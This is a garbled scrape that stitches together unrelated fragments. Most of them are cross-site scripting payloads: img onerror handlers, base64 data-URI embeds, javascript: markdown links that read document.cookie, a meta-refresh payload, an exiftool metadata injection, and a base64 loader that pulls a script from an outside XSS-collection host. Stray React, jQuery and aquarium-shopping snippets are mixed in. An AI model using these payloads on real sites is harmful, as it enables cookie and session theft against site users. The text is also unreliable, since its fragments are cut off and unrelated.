text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed> <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH.
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to create the imgSrc state. We set imgSrc to src initially. Then we add the img element with an onError prop that’s set to the onError function. In onError, we call setImgSrc to set the image URL to fallback.
Method 2. <img src onerror=%26emsp;prompt`${document.domain}`>.
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location&rpar
<img src="image_not_found.jpg" onError="this.style.display = 'none';" alt="" />. The above code does not work in chrome, after deleting still shows image not found.
Default SRC Tag by Leaving it out Entirely. On Error Alert. IMG onerror and JavaScript Alert Encode. Decimal HTML Character References.
dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vc3liM3JkY29tLnhzcy5odCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs=> <iframe srcdoc='<body onload=prompt(1)>'> <style/onload=.
<img src=x onerror=alert(1) />. You can find more examples in the main XSS page of hacktricks.
Как и ожидалось, последние три изображения спровоцировали событие onerror. Назначим на него свой обработчик (потребуется подключить библиотеку JQuery) и подменим атрибут src на адрес желаемого изображения.
[a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert
You really need to take your time to ask questions and be very observant when you are in the aquarium store. There are lots of aquarium stores with unknowledgeable owners, so you don't base your decision on their advice alone... make sure you take a look at the fish...
The load and error events also work for other resources, basically for any resource that has an external src.
# XSS in metadata: exiftool -FIELD=XSS FILE. exiftool -Artist=' "><img src=1 onerror=alert
There is no error event for the script tag. You can tell when it is successful, and assume that it has not loaded after a timeout